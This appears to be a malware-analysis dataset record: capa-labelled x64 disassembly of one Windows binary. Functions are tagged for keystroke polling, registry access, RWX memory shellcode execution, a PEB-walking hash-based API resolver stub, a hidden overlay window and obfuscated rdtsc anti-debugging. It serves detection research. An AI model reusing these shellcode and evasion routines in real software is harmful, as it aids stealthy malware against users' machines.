joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001e574
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x14004faa8]
xor rax, rsp
mov qword [rbp - 8], rax
call fcn.1400087f4
mov rcx, qword [0x1400502a8]
lea rdx, [rbp - 0x18]
mov rdi, rax
call qword [sym.imp.USER32.dll_GetClientRect]
mov ecx, dword [rbp - 0x10]
sub ecx, dword [rbp - 0x18]
movd xmm1, ecx
mov ecx, dword [rbp - 0xc]
sub ecx, dword [rbp - 0x14]
cvtdq2ps xmm1, xmm1
movd xmm0, ecx
lea rcx, [rbp - 0x20]
cvtdq2ps xmm0, xmm0
movss dword [rdi + 8], xmm1
movss dword [rdi + 0xc], xmm0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rbp - 0x20]
xorps xmm1, xmm1
sub rax, qword [0x1400502b0]
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [0x1400502b8]
mov ecx, 0x11
cvtsi2ss xmm1, rax
divss xmm1, xmm0
movss dword [rdi + 0x10], xmm1
mov rax, qword [rbp - 0x20]
mov qword [0x1400502b0], rax
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov bl, 1
and al, bl
mov ecx, 0x10
mov byte [rdi + 0x128], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, 0x12
and al, bl
mov byte [rdi + 0x129], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, bl
mov byte [rdi + 0x12b], 0
mov byte [rdi + 0x12a], al
call fcn.1400087f4
cmp byte [rax + 0x3a7], 0
lea rbx, [rax + 0x110]
je 0x14001e69d
cvttss2si ecx, dword [rbx]
lea rdx, [rbp - 0x30]
cvttss2si eax, dword [rax + 0x114]
mov dword [rbp - 0x30], ecx
mov rcx, qword [0x1400502a8]
mov dword [rbp - 0x2c], eax
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rbp - 0x2c]
mov ecx, dword [rbp - 0x30]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov eax, 0xff7fffff
mov dword [rbx], eax
mov dword [rbx + 4], eax
call qword [sym.imp.USER32.dll_GetActiveWindow]
cmp rax, qword [0x1400502a8]
jne 0x14001e6f2
lea rcx, [rbp - 0x28]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x14001e6f2
mov rcx, qword [0x1400502a8]
lea rdx, [rbp - 0x28]
call qword [sym.imp.USER32.dll_ScreenToClient]
test eax, eax
je 0x14001e6f2
movd xmm0, dword [rbp - 0x28]
movd xmm1, dword [rbp - 0x24]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rbx], xmm0
movss dword [rbx + 4], xmm1
cmp byte [rdi + 0xc8], 0
je 0x14001e700
or eax, 0xffffffff
jmp 0x14001e705
call fcn.140008830
cmp dword [0x14004e138], eax
je 0x14001e718
mov dword [0x14004e138], eax
call fcn.14001e740
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14003e140
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret
Function at 0x140029ce8
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov dword [rsp + 0x34], 0xc0000001
mov dword [rsp + 0x50], 0x30
mov qword [rsp + 0x58], 0
mov dword [rsp + 0x68], 0x240
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
lea r8, [rsp + 0x50]
mov edx, 0xf003f
lea rcx, [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwOpenKey]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
jl 0x140029e38
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x48]
call fcn.1400350b8
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jne 0x140029d8c
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwClose]
xor eax, eax
jmp 0x140029e3a
mov eax, dword [rsp + 0x30]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x30]
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x40]
mov r8d, 1
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwQueryValueKey]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
jl 0x140029df5
mov eax, dword [rsp + 0x38]
cmp dword [rsp + 0x30], eax
je 0x140029e0f
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwClose]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
jmp 0x140029e3a
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwClose]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx + rax]
jmp 0x140029e3a
xor eax, eax
add rsp, 0x88
ret

Function at 0x14002d610
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov r9d, 0x6c078965
mov r8d, 0xffffffff
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.14002d5cc
mov rax, qword [rsp + 0x30]
add rsp, 0x28
ret
Function at 0x14002f384
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x270
jne 0x14002f3a6
mov rcx, qword [rsp + 0x40]
call fcn.140037ce0
jmp 0x14002f3bd
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4e0
jb 0x14002f3bd
mov rcx, qword [rsp + 0x40]
call fcn.140037aec
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
inc eax
mov rcx, qword [rsp + 0x40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0xb
mov rcx, qword [rsp + 0x40]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0x12
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x1400350b8
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_ZwQueryValueKey]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xc0000023
je 0x140035109
cmp dword [rsp + 0x30], 0x80000005
jne 0x14003510f
mov eax, dword [rsp + 0x34]
jmp 0x140035111
xor eax, eax
add rsp, 0x48
ret

Function at 0x140035220
Capabilities:
Create thread

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x88
mov rax, qword [0x14004faa8]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x30], 0
cmp dword [rsp + 0x90], 0
jl 0x140035279
cmp dword [rsp + 0x90], 0x7c
jge 0x140035279
lea r8, [rsp + 0x30]
mov edx, dword [rsp + 0x90]
lea rcx, [0x14004e730]
call fcn.140035720
lea rcx, [rsp + 0x50]
call fcn.14002d3a8
nop
cmp qword [rsp + 0x30], 0
jne 0x14003529f
lea rdx, [0x140045dc0]
lea rcx, [rsp + 0x50]
call fcn.14002e140
jmp 0x1400352ae
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.14002e140
cmp dword [rsp + 0xa0], 1
jne 0x1400352c9
lea rdx, [0x140045dd0]
lea rcx, [rsp + 0x50]
call fcn.14002e140
movss xmm2, dword [0x140044900]
movss xmm1, dword [0x140046c68]
lea rcx, [rsp + 0x48]
call fcn.14002d990
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x50]
call fcn.140038268
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call fcn.140022010
movzx eax, al
test eax, eax
je 0x14003533e
cmp dword [rsp + 0xa0], 0
jne 0x14003533e
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
lea rcx, [rsp + 0x50]
call fcn.14002ddf8
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14003e140
add rsp, 0x88
ret
Function at 0x1400355e0
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x38
lea rcx, [0x140044a00]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x1400449f0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140035669
lea rcx, [0x140044a18]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtUserSendInput
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140035669
lea rcx, [0x140044a2c]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.SendInput
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140035669
xor al, al
jmp 0x14003571b
lea rcx, str.win32u
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x140044a38]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x1400356eb
lea rcx, [0x140044a70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtUserGetAsyncKeyState
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x1400356eb
lea rcx, str.user32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x140044a78]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x1400356eb
xor al, al
jmp 0x14003571b
mov r8d, 0x1e
mov rdx, qword [rsp + 0x20]
lea rcx, [0x140050570]
call fcn.14003ece8
mov r8d, 0x1e
mov rdx, qword [rsp + 0x28]
lea rcx, [0x140050590]
call fcn.14003ece8
mov al, 1
add rsp, 0x38
ret

Function at 0x1400362b8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x48
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x1400362ea
xor eax, eax
jmp 0x140036340
mov r8d, 0x1e
lea rdx, [0x140050590]
mov rcx, qword [rsp + 0x28]
call fcn.14003ece8
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
call qword [rsp + 0x30]
mov dword [rsp + 0x20], eax
mov r8d, 0x1000
xor edx, edx
mov rcx, qword [rsp + 0x28]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [rsp + 0x20]
add rsp, 0x48
ret
Function at 0x140036f64
Capabilities:
Set registry value

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov byte [rsp + 0x40], 0
mov dword [rsp + 0x44], 0xc0000001
mov dword [rsp + 0x50], 0x30
mov qword [rsp + 0x58], 0
mov dword [rsp + 0x68], 0x240
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
lea r8, [rsp + 0x50]
mov edx, 0xf003f
lea rcx, [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwOpenKey]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jl 0x14003703a
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0xa8]
xor r8d, r8d
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwSetValueKey]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jl 0x14003702a
mov byte [rsp + 0x40], 1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwClose]
jmp 0x1400370cc
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, [rsp + 0x50]
mov edx, 0xf003f
lea rcx, [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwCreateKey]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jl 0x1400370c1
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0xa8]
xor r8d, r8d
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwSetValueKey]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jl 0x1400370c1
mov byte [rsp + 0x40], 1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwClose]
mov al, byte [rsp + 0x40]
add rsp, 0x88
ret
Function at 0x140037aec
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov qword [rsp + 0x28], 0x26f
mov qword [rsp + 0x30], 0xe3
mov qword [rsp], 0
jmp 0x140037b1c
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0xe3
jae 0x140037b9e
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x10], eax
mov eax, dword [rsp + 0x10]
and eax, 1
test eax, eax
je 0x140037b6a
mov dword [rsp + 0x14], 0x9908b0df
jmp 0x140037b72
mov dword [rsp + 0x14], 0
mov eax, dword [rsp + 0x10]
shr eax, 1
xor eax, dword [rsp + 0x14]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
xor eax, dword [rcx + rdx*4 + 0xff8]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x140037b11
mov qword [rsp + 8], 0xe3
jmp 0x140037bb6
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 0x26f
jae 0x140037c3d
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 8]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x18], eax
mov eax, dword [rsp + 0x18]
and eax, 1
test eax, eax
je 0x140037c07
mov dword [rsp + 0x1c], 0x9908b0df
jmp 0x140037c0f
mov dword [rsp + 0x1c], 0
mov eax, dword [rsp + 0x18]
shr eax, 1
xor eax, dword [rsp + 0x1c]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x140037ba9
mov qword [rsp + 0x38], 0x26f
mov eax, 4
imul rax, rax, 0x4df
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax + 4]
and eax, 0x80000000
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x50]
mov ecx, dword [rdx + rcx + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
and eax, 1
test eax, eax
je 0x140037c91
mov dword [rsp + 0x24], 0x9908b0df
jmp 0x140037c99
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x20]
shr eax, 1
xor eax, dword [rsp + 0x24]
mov ecx, 4
imul rcx, rcx, 0x18c
mov rdx, qword [rsp + 0x50]
xor eax, dword [rdx + rcx + 4]
mov ecx, 4
imul rcx, rcx, 0x26f
mov rdx, qword [rsp + 0x50]
mov dword [rdx + rcx + 4], eax
mov rax, qword [rsp + 0x50]
mov dword [rax], 0
add rsp, 0x48
ret
Function at 0x140037ce0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp + 8], 0x270
jmp 0x140037d01
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 0x4e0
jae 0x140037d85
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 8]
mov eax, dword [rax + rcx*4 - 0x9bc]
and eax, 0x80000000
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
mov ecx, dword [rcx + rdx*4 - 0x9b8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp]
and eax, 1
test eax, eax
je 0x140037d50
mov dword [rsp + 4], 0x9908b0df
jmp 0x140037d58
mov dword [rsp + 4], 0
mov eax, dword [rsp]
shr eax, 1
xor eax, dword [rsp + 4]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x140037cf4
add rsp, 0x18
ret
Function at 0x14003c6dc
Capabilities:
Create thread
Hide graphical window

Disassembly:
push rdi
sub rsp, 0xc0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140036954]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0x48
rep stosb byte [rdi], al
xor ecx, ecx
call qword [sym.imp.GDI32.dll_GetStockObject]
mov qword [rsp + 0xa0], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorA]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x88], 0
lea rax, [0x140036e0c]
mov qword [rsp + 0x78], rax
lea rax, [0x140044e08]
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0x70], 3
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_RegisterClassA]
movzx eax, ax
test eax, eax
jne 0x14003c794
lea rdx, str._n_n_Notepad
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002934c
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x60], eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x64], eax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x80000000
xor r8d, r8d
lea rdx, str.Notepad
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov qword [0x1400505e8], rax
mov edx, 5
mov rcx, qword [0x1400505e8]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x140044df8]
mov rcx, qword [0x1400505e8]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov r8d, 0x800a0
mov edx, 0xffffffec
mov rcx, qword [0x1400505e8]
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x1400505e8]
call qword [sym.imp.USER32.dll_UpdateWindow]
add rsp, 0xc0
pop rdi
ret
Function at 0x14003e844
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003e88e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003e88e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003e88e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003e88e
cmp dword [rcx + 0x84], 0xe
jbe 0x14003e88e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14003e890
xor al, al
add rsp, 0x28
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
push rsi
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
push r9
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov ecx, dword [rax + 0x18]
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x1400040ca
dec rcx
xor r9, r9
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
pop r8
pop rsi
pop rcx
add rax, rdx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x14008c268
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push r13
sub rsp, 0xb0
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov r12d, ebx
xor eax, eax
lock cmpxchg qword [0x1400a43c0], rdi
je 0x14008c2c8
cmp rax, rdi
jne 0x14008c2bb
mov r12d, 1
jmp 0x14008c2c8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14008c2a1
mov eax, dword [0x1400a43b8]
cmp eax, 1
jne 0x14008c2dd
lea ecx, [rax + 0x1e]
call fcn.1401c5000
jmp 0x14008c344
mov eax, dword [0x1400a43b8]
cmp eax, ebx
jne 0x14008c33a
mov dword [0x1400a43b8], 1
lea r13, [0x140001bd0]
lea rdi, [0x140001bb8]
mov qword [rsp + 0x30], rdi
mov eax, ebx
mov dword [rsp + 0x24], ebx
cmp rdi, r13
jae 0x14008c32c
cmp eax, ebx
jne 0x14008c32c
mov rcx, qword [rdi]
cmp rcx, rbx
je 0x14008c321
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14008c30a
cmp eax, ebx
je 0x14008c344
mov eax, 0xff
jmp 0x14008c48c
mov dword [0x1400a36b4], 1
mov eax, dword [0x1400a43b8]
cmp eax, 1
jne 0x14008c36c
lea rdx, [0x140001bb0]
lea rcx, [0x140001b98]
call sub.msvcrt.dll__initterm
mov dword [0x1400a43b8], 2
cmp r12d, ebx
jne 0x14008c37b
mov rax, rbx
xchg qword [0x1400a43c0], rax
cmp qword [0x1400a43d8], rbx
je 0x14008c3a3
lea rcx, [0x1400a43d8]
call fcn.14008caac
cmp eax, ebx
je 0x14008c3a3
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x1400a43d8]
mov rcx, qword [sym.imp.msvcrt.dll__wcmdln]
cmp qword [rcx], rbx
jne 0x14008c3b9
mov eax, 0xff
jmp 0x14008c48c
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
cmp word [rcx], 0x20
ja 0x14008c43e
cmp word [rcx], bx
je 0x14008c3d4
cmp edx, ebx
jne 0x14008c43e
cmp word [rcx], bx
je 0x14008c3ea
cmp word [rcx], 0x20
ja 0x14008c3ea
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14008c3d4
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140030f14
mov dword [0x1400a36b0], eax
cmp dword [0x1400a3694], ebx
jne 0x14008c428
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1400a36b4], ebx
jne 0x14008c43c
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1400a36b0]
jmp 0x14008c48c
cmp word [rcx], 0x22
jne 0x14008c451
mov eax, ebx
cmp edx, ebx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14008c3c5
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r12, qword [r11 + 0x20]
mov rsp, r11
pop r13
ret
sub rsp, 0x28
call fcn.14008cbc0
add rsp, 0x28
jmp 0x14008c268
Function at 0x14089a52b
Capabilities:
Execute anti-debugging instructions

Disassembly:
bswap eax
jmp 0x1408db651
jmp r11
pushfq
cwd
push rax
rcl r11d, cl
setno r11b
stc
push r9
rdtsc
cmovno rax, rdi
push rcx
rdtsc
cdqe
movabs rbx, 0
btr rax, r9
movzx r8d, r15w
movzx r9, r15w
push rbx
mov r8, qword [rsp + 0x90]
cbw
bswap r8d
rol r8d, 1
add r8d, 0x3199396c
mov rax, 0x4038308c
add r9b, r9b
bswap r8d
movsx rax, di
xor r8d, 0x3c062cff
add r8, rbx
movabs rdx, 0x100000000
or r11b, 0x32
xchg r9b, r9b
add r8, rdx
shrd r9w, r14w, 0xa8
cdqe
mov r9, rsp
sub rsp, 0x180
bsf r11d, r13d
rdtsc
adc ah, cl
and rsp, 0xfffffffffffffff0
cwde
and dx, 0x790
bt r10d, r12d
mov r10, r8
movabs rdx, 0
sub r10, rdx
btc ax, r10w
shl r11d, 0x32
adc r11b, r11b
lea r11, [0x140875046]
sub al, r15b
rcr eax, cl
sub r8, 4
cmp ah, ah
movzx rax, r10w
mov eax, dword [r8]
test r15, rbx
cmp rsp, r15
cmc
